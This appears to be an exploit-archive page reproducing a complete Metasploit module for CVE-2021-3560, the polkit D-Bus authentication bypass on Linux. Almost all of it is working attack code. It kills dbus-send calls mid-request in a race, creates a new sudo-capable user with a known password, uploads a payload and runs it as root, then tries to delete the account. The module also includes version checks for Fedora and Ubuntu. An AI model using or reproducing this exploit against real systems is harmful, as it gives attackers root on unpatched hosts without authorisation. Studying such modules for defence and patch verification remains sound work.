Polkit D-Bus Authentication Bypass

2021.07.09
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'unix_crypt' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Exploit::Local::Linux prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Polkit D-Bus Authentication Bypass', 'Description' => %q{ A vulnerability exists within the polkit system service that can be leveraged by a local, unprivileged attacker to perform privileged operations. In order to leverage the vulnerability, the attacker invokes a method over D-Bus and kills the client process. This will occasionally cause the operation to complete without being subjected to all of the necessary authentication. The exploit module leverages this to add a new user with a sudo access and a known password. The new account is then leveraged to execute a payload with root privileges. }, 'License' => MSF_LICENSE, 'Author' => [ 'Kevin Backhouse', # vulnerability discovery and analysis 'Spencer McIntyre', # metasploit module 'jheysel-r7' # metasploit module ], 'SessionTypes' => ['shell', 'meterpreter'], 'Platform' => ['unix', 'linux'], 'References' => [ ['URL', 'https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/'], ['CVE', '2021-3560'], ['EDB', '50011'] ], 'Targets' => [ [ 'Automatic', {} ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2021-06-03', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, SCREEN_EFFECTS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options([ OptString.new('USERNAME', [ true, 'A username to add as root', 'msf' ], regex: /^[a-z_]([a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)$/), OptString.new('PASSWORD', [ true, 'A password to add for the user (default: random)', rand_text_alphanumeric(8)]), OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 30]), OptInt.new('ITERATIONS', [ true, 'Due to the race condition the command might have to be run multiple times before it is successful. Use this to define how many times each command is attempted', 20]) ]) register_advanced_options([ OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ]) end def get_loop_sequence datastore['ITERATIONS'].times.map(&:to_s).join(' ') end def exploit_set_realname(new_realname) loop_sequence = get_loop_sequence cmd_exec(<<~SCRIPT for i in #{loop_sequence}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User0 org.freedesktop.Accounts.User.SetRealName string:'#{new_realname}' & sleep #{@cmd_delay}; kill $!; dbus-send --system --dest=org.freedesktop.Accounts --print-reply /org/freedesktop/Accounts/User0 org.freedesktop.DBus.Properties.Get string:org.freedesktop.Accounts.User string:RealName | grep "string \\"#{new_realname}\\""; if [ $? -eq 0 ]; then echo success; break; fi; done SCRIPT .gsub(/\s+/, ' ')) =~ /success/ end def executable?(path) cmd_exec("test -x '#{path}' && echo true").include? 'true' end def get_cmd_delay user = rand_text_alphanumeric(8) time_command = "bash -c 'time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:#{user} string:\"#{user}\" int32:1'" time = cmd_exec(time_command, nil, datastore['TIMEOUT']).match(/real\s+\d+m(\d+.\d+)s/) unless time && time[1] print_error("Unable to determine the time taken to run the dbus command, so the exploit cannot continue. Try increasing the TIMEOUT option. The command that failed was: #{time_command}") return nil end time_in_seconds = time[1].to_f # The dbus-send command timeout is implementation-defined, typically 25 seconds # https://dbus.freedesktop.org/doc/dbus-send.1.html#:~:text=25%20seconds if time_in_seconds > datastore['TIMEOUT'].to_f || time_in_seconds > 25.00 print_error('The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being X11 instead of SSH. Please see the module documentation for more information.') return nil end time_in_seconds / 2 end def check if datastore['TIMEOUT'] < 26 return CheckCode::Unknown("TIMEOUT is set to less than 26 seconds, so we can't detect if polkit times out or not.") end unless cmd_exec('pkexec --version') =~ /pkexec version (\d+\S*)/ return CheckCode::Safe('The polkit framework is not installed.') end # The version as returned by pkexec --version is insufficient to identify whether or not the patch is installed. To # do that, the distro specific package manager would need to be queried. See #check_via_version. polkit_version = Rex::Version.new(Regexp.last_match(1)) unless cmd_exec('dbus-send -h') =~ /Usage: dbus-send/ return CheckCode::Detected('The dbus-send command is not accessible, however the polkit framework is installed.') end # Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit @cmd_delay = get_cmd_delay return CheckCode::Unknown('Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil? status = nil print_status('Checking for exploitability via attempt') status ||= check_via_attempt print_status('Checking for exploitability via version') unless status status ||= check_via_version status ||= CheckCode::Detected("Detected polkit framework version #{polkit_version}.") status end def check_via_attempt status = nil return status unless !is_root? && command_exists?('dbus-send') # This is required to make the /org/freedesktop/Accounts/User0 object_path available. dbus_method_call('/org/freedesktop/Accounts', 'org.freedesktop.Accounts.FindUserByName', 'root') # Check for the presence of the vulnerability be exploiting it to set the root user's RealName property to a # random string before restoring it. result = dbus_method_call('/org/freedesktop/Accounts/User0', 'org.freedesktop.DBus.Properties.Get', 'org.freedesktop.Accounts.User', 'RealName') if result =~ /variant\s+string\s+"(.*)"/ old_realname = Regexp.last_match(1) if exploit_set_realname(rand_text_alphanumeric(12)) status = CheckCode::Vulnerable('The polkit framework instance is vulnerable.') unless exploit_set_realname(old_realname) print_error('Failed to restore the root user\'s original \'RealName\' property value') end end end status end def check_via_version sysinfo = get_sysinfo case sysinfo[:distro] when 'fedora' if sysinfo[:version] =~ /Fedora( release)? (\d+)/ distro_version = Regexp.last_match(2).to_i if distro_version < 20 return CheckCode::Safe("Fedora version #{distro_version} is not affected (too old).") elsif distro_version < 33 return CheckCode::Appears("Fedora version #{distro_version} is affected.") elsif distro_version == 33 # see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-3f8d6016c9 patched_version_string = '0.117-2.fc33.1' elsif distro_version == 34 # see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-0ec5a8a74b patched_version_string = '0.117-3.fc34.1' elsif distro_version > 34 return CheckCode::Safe("Fedora version #{distro_version} is not affected.") end result = cmd_exec('dnf list installed "polkit.*"') if result =~ /polkit\.\S+\s+(\d\S+)\s+/ current_version_string = Regexp.last_match(1) if Rex::Version.new(current_version_string) < Rex::Version.new(patched_version_string) return CheckCode::Appears("Version #{current_version_string} is affected.") else return CheckCode::Safe("Version #{current_version_string} is not affected.") end end end when 'ubuntu' result = cmd_exec('apt-cache policy policykit-1') if result =~ /\s+Installed: (\S+)$/ current_version_string = Regexp.last_match(1) current_version = Rex::Version.new(current_version_string.gsub(/ubuntu/, '.')) if current_version < Rex::Version.new('0.105-26') # The vulnerability was introduced in 0.105-26 return CheckCode::Safe("Version #{current_version_string} is not affected (too old, the vulnerability was introduced in 0.105-26).") end # See: https://ubuntu.com/security/notices/USN-4980-1 # The 'ubuntu' part of the string must be removed for Rex::Version compatibility, treat it as a point place. case sysinfo[:version] when /21\.04/ patched_version_string = '0.105-30ubuntu0.1' when /20\.10/ patched_version_string = '0.105-29ubuntu0.1' when /20\.04/ patched_version_string = '0.105-26ubuntu1.1' when /19\.10/ return CheckCode::Appears('Ubuntu 19.10 is affected.') end # Ubuntu 19.04 and older are *not* affected if current_version < Rex::Version.new(patched_version_string.gsub(/ubuntu/, '.')) return CheckCode::Appears("Version #{current_version_string} is affected.") end return CheckCode::Safe("Version #{current_version_string} is not affected.") end end end def cmd_exec(*args) result = super result.gsub(/(\e\(B)?\e\[([;\d]+)?m/, '') # remove ANSI escape sequences from the command output end def dbus_method_call(object_path, interface_member, *args) cmd_args = %w[dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply] cmd_args << object_path cmd_args << interface_member args.each do |arg| if arg.is_a?(Integer) cmd_args << "int32:#{arg}" elsif arg.is_a?(String) cmd_args << "string:'#{arg}'" end end cmd = cmd_args.join(' ') vprint_status("Running: #{cmd}") cmd_exec(cmd) end def create_unix_crypt_hash UnixCrypt::SHA256.build(datastore['PASSWORD'].to_s) end def exploit_set_username(loop_sequence) cmd_exec(<<~SCRIPT for i in #{loop_sequence}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:#{datastore['USERNAME']} string:\"#{datastore['USERNAME']}\" int32:1 & sleep #{@cmd_delay}s; kill $!; if id #{datastore['USERNAME']}; then echo \"success\"; break; fi; done SCRIPT .gsub(/\s+/, ' ')) =~ /success/ end def exploit_set_password(uid, hashed_password, loop_sequence) cmd_exec(<<~SCRIPT for i in #{loop_sequence}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User#{uid} org.freedesktop.Accounts.User.SetPassword string:'#{hashed_password}' string: & sleep #{@cmd_delay}s; kill $!; echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -S id\" | grep \"uid=0(root)\"; if [ $? -eq 0 ]; then echo \"success\"; break; fi; done; SCRIPT .gsub(/\s+/, ' ')) =~ /success/ end def exploit_delete_user(uid, loop_sequence) cmd_exec(<<~SCRIPT for i in #{loop_sequence}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.DeleteUser int64:#{uid} boolean:true & sleep #{@cmd_delay}s; kill $!; if id #{datastore['USERNAME']}; then echo \"failed\"; else echo \"success\"; break; fi; done SCRIPT .gsub(/\s+/, ' ')) =~ /success/ end def upload(path, data) print_status("Writing '#{path}' (#{data.size} bytes) ...") rm_f(path) write_file(path, data) register_file_for_cleanup(path) end def upload_and_chmodx(path, data) upload(path, data) chmod(path) end def upload_payload fname = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(5)}" upload_and_chmodx(fname, generate_payload_exe) return nil unless file_exist?(fname) fname end def execute_payload(fname) cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -S #{fname}\"") end def exploit fail_with(Failure::NotFound, 'Failed to find the su command which this exploit depends on.') unless command_exists?('su') fail_with(Failure::NotFound, 'Failed to find the dbus-send command which this exploit depends on.') unless command_exists?('dbus-send') if datastore['TIMEOUT'] < 26 fail_with(Failure::BadConfig, "TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.") end if @cmd_delay.nil? # cmd_delay wasn't set yet which is needed for the rest of the exploit to operate, # likely cause the check method wasn't executed. Lets set it so long. # Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit @cmd_delay = get_cmd_delay fail_with(Failure::Unknown, 'Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil? end print_status("Attempting to create user #{datastore['USERNAME']}") loop_sequence = get_loop_sequence fail_with(Failure::BadConfig, "The user #{datastore['USERNAME']} was unable to be created. Try increasing the ITERATIONS amount.") unless exploit_set_username(loop_sequence) uid = cmd_exec("id -u #{datastore['USERNAME']}") print_good("User #{datastore['USERNAME']} created with UID #{uid}") print_status("Attempting to set the password of the newly created user, #{datastore['USERNAME']}, to: #{datastore['PASSWORD']}") if exploit_set_password(uid, create_unix_crypt_hash, loop_sequence) print_good('Obtained code execution as root!') fname = upload_payload execute_payload(fname) else print_error("Attempted to set the password #{datastore['Iterations']} times, did not work.") end print_status('Attempting to remove the user added: ') if exploit_delete_user(uid, loop_sequence) print_good("Successfully removed #{datastore['USERNAME']}") else print_warning("Unable to remove user: #{datastore['USERNAME']}, created during the running of this module") end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top